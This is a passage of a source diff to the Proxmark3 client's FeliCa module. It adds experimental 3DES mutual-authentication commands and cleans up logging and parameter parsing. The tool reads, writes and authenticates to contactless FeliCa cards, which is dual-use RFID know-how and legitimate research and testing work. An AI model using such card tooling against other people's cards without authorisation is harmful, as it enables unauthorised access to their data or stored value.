hf felica auth2 -i 11100910C11BC407 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); + + return PM3_SUCCESS; +} + /** * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. @@ -291,12 +344,12 @@ static bool waitCmdFelica(uint8_t iSelect, PacketResponseNG *resp, bool verbose) if (WaitForResponseTimeout(CMD_ACK, resp, 2000)) { uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff); if (verbose) { - PrintAndLogEx(NORMAL, "Client Received %i octets", len); - if (!len || len < 2) { + PrintAndLogEx(SUCCESS, "Client Received %i octets", len); + if (len == 0 || len == 1) { PrintAndLogEx(ERR, "Could not receive data correctly!"); return false; } - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp->data.asBytes, len)); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp->data.asBytes, len)); if (!check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2)) { PrintAndLogEx(WARNING, "Wrong or no CRC bytes"); } @@ -371,7 +424,7 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat uint16_t numbits = 0; clearCommandBuffer(); if (verbose) { - PrintAndLogEx(NORMAL, "Send Service Request Frame: %s", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "Send raw command - Frame: %s", sprint_hex(data, datalen)); } SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); } @@ -387,8 +440,12 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat */ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) { if (param_getlength(Cmd, paramCount) == length) { - param_gethex(Cmd, paramCount, data + dataPosition, length); - return true; + + if (param_gethex(Cmd, paramCount, data + dataPosition, length) == 1) + return false; + else + return true; + } else { PrintAndLogEx(ERR, "Param %s", Cmd); PrintAndLogEx(ERR, "Incorrect Parameter length! Param %i should be %i", paramCount, length); @@ -401,19 +458,24 @@ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_ * @param rd_noCry_resp Response frame. */ static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) { - if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && rd_noCry_resp->status_flags.status_flag2[0] == 00) { + + if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && + rd_noCry_resp->status_flags.status_flag2[0] == 00) { + char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); + char bl_data[256]; - strcpy(bl_data, temp); + strncpy(bl_data, temp, sizeof(bl_data) - 1); char bl_element_number[4]; temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); - strcpy(bl_element_number, temp); - PrintAndLogEx(NORMAL, "\t%s\t| %s ", bl_element_number, bl_data); + strncpy(bl_element_number, temp, sizeof(bl_element_number) - 1); + + PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data); } else { - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); } } @@ -425,7 +487,7 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve PacketResponseNG resp; if (datalen > 0) { if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } felica_request_service_response_t rqs_response; @@ -433,9 +495,9 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve if (rqs_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Service Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); - PrintAndLogEx(NORMAL, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); + PrintAndLogEx(SUCCESS, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); } return PM3_SUCCESS; } @@ -455,7 +517,7 @@ int send_rd_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver clear_and_send_command(flags, datalen, data, verbose); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, verbose)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); @@ -475,7 +537,7 @@ static bool check_last_idm(uint8_t *data, uint16_t datalen) { PrintAndLogEx(ERR, "No last known card! Use reader first or set a custom IDm!"); return 0; } else { - PrintAndLogEx(INFO, "Used last known IDm.", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "Used last known IDm. %s", sprint_hex(data, datalen)); return 1; } } @@ -493,7 +555,7 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver clear_and_send_command(flags, datalen, data, verbose); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, verbose)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); @@ -501,6 +563,282 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver } } +/** + * Reverses the master secret. Example: AA AA AA AA AA AA AA BB to BB AA AA AA AA AA AA AA + * @param master_key the secret which order will be reversed. + * @param length in bytes of the master secret. + * @param reverse_master_key output in which the reversed secret is stored. + */ +static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key) { + for (int i = 0; i < length; i++) { + reverse_master_key[i] = master_key[(length - 1) - i]; + } +}; + +/** + * Command parser for auth1 + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthentication1(const char *Cmd) { + if (strlen(Cmd) < 4) { + return usage_hf_felica_authentication1(); + } + + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 24; // Length (1), Command ID (1), IDm (8), Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_authentication1(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_authentication1(); + } + } + i++; + } + data[0] = int_to_hex(&datalen); + data[1] = 0x10; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + // Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t lengths[] = {2, 4, 2, 4}; + uint8_t dataPositions[] = {10, 11, 13, 14}; + for (i = 0; i < 4; i++) { + if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { + paramCount++; + } else { + return PM3_EINVARG; + } + } + + // READER CHALLENGE - (RANDOM To Encrypt = Rac) + unsigned char input[8]; + input[0] = 0x1; + input[1] = 0x2; + input[2] = 0x3; + input[3] = 0x4; + input[4] = 0x5; + input[5] = 0x6; + input[6] = 0x7; + input[7] = 0x8; + PrintAndLogEx(INFO, "Reader challenge (unencrypted): %s", sprint_hex(input, 8)); + unsigned char output[8]; + // Create M1c Challenge with 3DES (3 Keys = 24, 2 Keys = 16) + uint8_t master_key[PM3_CMD_DATA_SIZE]; + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + if (param_getlength(Cmd, paramCount) == 48) { + if (param_gethex(Cmd, paramCount, master_key, 48) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + mbedtls_des3_set3key_enc(&des3_ctx, master_key); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24)); + } else if (param_getlength(Cmd, paramCount) == 32) { + + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + + // Assumption: Master secret split in half for Kac, Kbc + mbedtls_des3_set2key_enc(&des3_ctx, master_key); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 16)); + } else { + PrintAndLogEx(ERR, "Invalid key length"); + return PM3_EINVARG; + } + + mbedtls_des3_crypt_ecb(&des3_ctx, input, output); + PrintAndLogEx(INFO, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); + // Add M1c Challenge to frame + int frame_position = 16; + for (i = 0; i < 8; i++) { + data[frame_position++] = output[i]; + } + + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + + PrintAndLogEx(INFO, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen)); + clear_and_send_command(flags, datalen, data, 0); + + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no Response from card"); + return PM3_ERFTRANS; + } else { + felica_auth1_response_t auth1_response; + memcpy(&auth1_response, (felica_auth1_response_t *)resp.data.asBytes, sizeof(felica_auth1_response_t)); + if (auth1_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot auth1 response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "M2C: %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c))); + PrintAndLogEx(SUCCESS, "M3C: %s", sprint_hex(auth1_response.m3c, sizeof(auth1_response.m3c))); + // Assumption: Key swap method used + uint8_t reverse_master_key[PM3_CMD_DATA_SIZE]; + reverse_3des_key(master_key, 16, reverse_master_key); + mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key); + bool isKeyCorrect = false; + unsigned char p2c[8]; + mbedtls_des3_crypt_ecb(&des3_ctx, auth1_response.m2c, p2c); + for (i = 0; i < 8; i++) { + if (p2c[i] != input[i]) { + isKeyCorrect = false; + break; + } else { + isKeyCorrect = true; + } + } + if (isKeyCorrect) { + PrintAndLogEx(SUCCESS, "\nAuth1 done with correct key material! Use Auth2 now with M3C and same key"); + } else { + PrintAndLogEx(INFO, "3DES secret (swapped decryption): %s", sprint_hex(reverse_master_key, 16)); + PrintAndLogEx(INFO, "P2c: %s", sprint_hex(p2c, 8)); + PrintAndLogEx(ERR, "Can't decrypt M2C with master secret (P1c != P2c)! Probably wrong keys or wrong decryption method"); + } + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for auth2 + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthentication2(const char *Cmd) { + if (strlen(Cmd) < 2) { + return usage_hf_felica_authentication2(); + } + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); + PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND - M2c/P2c will be not checked"); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 18; // Length (1), Command ID (1), IDm (8), M4c (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_authentication2(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_authentication1(); + } + } + i++; + } + + data[0] = int_to_hex(&datalen); + data[1] = 0x12; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + + // M3c (8) + unsigned char m3c[8]; + if (add_param(Cmd, paramCount, m3c, 0, 16)) { + paramCount++; + } else { + return PM3_EINVARG; + } + + // Create M4c challenge response with 3DES + uint8_t master_key[PM3_CMD_DATA_SIZE]; + uint8_t reverse_master_key[PM3_CMD_DATA_SIZE]; + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + unsigned char p3c[8]; + if (param_getlength(Cmd, paramCount) == 32) { + + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + reverse_3des_key(master_key, 16, reverse_master_key); + mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key); + mbedtls_des3_set2key_enc(&des3_ctx, master_key); + // Assumption: Key swap method used for E2 + PrintAndLogEx(INFO, "3DES Master Secret (encryption): %s", sprint_hex(master_key, 16)); + PrintAndLogEx(INFO, "3DES Master Secret (decryption): %s", sprint_hex(reverse_master_key, 16)); + } else { + PrintAndLogEx(ERR, "Invalid key length"); + return PM3_EINVARG; + } + // Decrypt m3c with reverse_master_key + mbedtls_des3_crypt_ecb(&des3_ctx, m3c, p3c); + PrintAndLogEx(INFO, "3DES decrypted M3c = P3c: %s", sprint_hex(p3c, 8)); + // Encrypt p3c with master_key + unsigned char m4c[8]; + mbedtls_des3_crypt_ecb(&des3_ctx, p3c, m4c); + PrintAndLogEx(INFO, "3DES encrypted M4c: %s", sprint_hex(m4c, 8)); + + // Add M4c Challenge to frame + int frame_position = 10; + for (i = 0; i < 8; i++) { + data[frame_position++] = m4c[i]; + } + + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + + PrintAndLogEx(INFO, "Client Send AUTH2 Frame: %s", sprint_hex(data, datalen)); + clear_and_send_command(flags, datalen, data, 0); + + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no Response from card"); + return PM3_ERFTRANS; + } else { + felica_auth2_response_t auth2_response; + memcpy(&auth2_response, (felica_auth2_response_t *)resp.data.asBytes, sizeof(felica_auth2_response_t)); + if (auth2_response.code[0] != 0x12) { + PrintAndLogEx(SUCCESS, "\nGot auth2 response:"); + PrintAndLogEx(SUCCESS, "IDtc: %s", sprint_hex(auth2_response.IDtc, sizeof(auth2_response.IDtc))); + PrintAndLogEx(SUCCESS, "IDi (encrypted): %s", sprint_hex(auth2_response.IDi, sizeof(auth2_response.IDi))); + PrintAndLogEx(SUCCESS, "PMi (encrypted): %s", sprint_hex(auth2_response.PMi, sizeof(auth2_response.PMi))); + } else { + PrintAndLogEx(ERR, "\nGot wrong frame format."); + } + } + return PM3_SUCCESS; +} + + /** * Command parser for wrunencrypted. * @param Cmd input data of the user. @@ -518,8 +856,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_write_without_encryption(); case 'i': @@ -545,7 +882,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { // Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4, Data 16 uint8_t lengths[] = {2, 4, 2, 4, 32}; uint8_t dataPositions[] = {10, 11, 13, 14, 16}; - for (int i = 0; i < 5; i++) { + for (i = 0; i < 5; i++) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { paramCount++; } else { @@ -558,9 +895,9 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { datalen += 2; felica_status_response_t wr_noCry_resp; if (send_wr_unencrypted(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); if (wr_noCry_resp.status_flags.status_flag1[0] == 0x00 && wr_noCry_resp.status_flags.status_flag2[0] == 0x00) { PrintAndLogEx(SUCCESS, "Writing data successful!\n"); } else { @@ -589,8 +926,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_read_without_encryption(); case 'i': @@ -628,7 +964,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { datalen += 1; lengths[3] = 6; } - for (int i = 0; i < 4; i++) { + for (i = 0; i < 4; i++) { if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { paramCount++; } else { @@ -643,8 +979,8 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { if (long_block_numbers) { last_block_number = 0xFFFF; } - PrintAndLogEx(NORMAL, "Block Element\t| Data "); - for (int i = 0x00; i < last_block_number; i++) { + PrintAndLogEx(INFO, "Block Nr.\t| Data "); + for (i = 0x00; i < last_block_number; i++) { data[15] = i; AddCrc(data, datalen); datalen += 2; @@ -652,8 +988,6 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { if ((send_rd_unencrypted(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { if (rd_noCry_resp.status_flags.status_flag1[0] == 00 && rd_noCry_resp.status_flags.status_flag2[0] == 00) { print_rd_noEncrpytion_response(&rd_noCry_resp); - } else { - break; } } else { break; @@ -665,7 +999,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { datalen += 2; felica_read_without_encryption_response_t rd_noCry_resp; if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "Block Element\t| Data "); + PrintAndLogEx(INFO, "Block Nr.\t| Data "); print_rd_noEncrpytion_response(&rd_noCry_resp); } } @@ -687,8 +1021,7 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_response(); case 'i': @@ -718,15 +1051,15 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_request_request_response_t rq_response; memcpy(&rq_response, (felica_request_request_response_t *)resp.data.asBytes, sizeof(felica_request_request_response_t)); if (rq_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); } } return PM3_SUCCESS; @@ -749,8 +1082,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_specification_version(); case 'i': @@ -793,24 +1125,25 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_request_spec_response_t spec_response; memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); + if (spec_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); if (spec_response.status_flags.status_flag1[0] == 0x00) { - PrintAndLogEx(NORMAL, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); - PrintAndLogEx(NORMAL, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); - PrintAndLogEx(NORMAL, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); + PrintAndLogEx(SUCCESS, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); + PrintAndLogEx(SUCCESS, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); + PrintAndLogEx(SUCCESS, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); if (spec_response.number_of_option[0] == 0x01) { - PrintAndLogEx(NORMAL, "Option Version List:"); - for (uint8_t i = 0; i < spec_response.number_of_option[0]; i++) { - PrintAndLogEx(NORMAL, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); + PrintAndLogEx(SUCCESS, "Option Version List:"); + for (i = 0; i < spec_response.number_of_option[0]; i++) { + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); } } } @@ -836,8 +1169,7 @@ static int CmdHFFelicaResetMode(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_reset_mode(); case 'i': @@ -880,23 +1212,21 @@ static int CmdHFFelicaResetMode(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_status_response_t reset_mode_response; memcpy(&reset_mode_response, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); if (reset_mode_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); } } return PM3_SUCCESS; } - - /** * Command parser for rqsyscode * @param Cmd input data of the user. @@ -912,8 +1242,7 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_system_code(); case 'i': @@ -943,18 +1272,19 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_syscode_response_t rq_syscode_response; memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t)); + if (rq_syscode_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); - PrintAndLogEx(NORMAL, " - System Codes: enumerated in ascending order starting from System 0."); - for (uint8_t i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { - PrintAndLogEx(NORMAL, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); + PrintAndLogEx(SUCCESS, " - System Codes: enumerated in ascending order starting from System 0."); + for (i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); } } } @@ -978,8 +1308,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { strip_cmds(Cmd); while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_service(); case 'i': @@ -1002,21 +1331,30 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } i++; } + if (!all_nodes) { // Node Number if (param_getlength(Cmd, paramCount) == 2) { - param_gethex(Cmd, paramCount++, data + 10, 2); + + if (param_gethex(Cmd, paramCount++, data + 10, 2) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + } else { PrintAndLogEx(ERR, "Incorrect Node number length!"); return PM3_EINVARG; } } - // Node Code List if (param_getlength(Cmd, paramCount) == 4) { - param_gethex(Cmd, paramCount++, data + 11, 4); + + if (param_gethex(Cmd, paramCount++, data + 11, 4) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } } else { - PrintAndLogEx(ERR, "Incorrect Node Code List length!"); + PrintAndLogEx(ERR, "Incorrect parameter length!"); return PM3_EINVARG; } @@ -1024,13 +1362,16 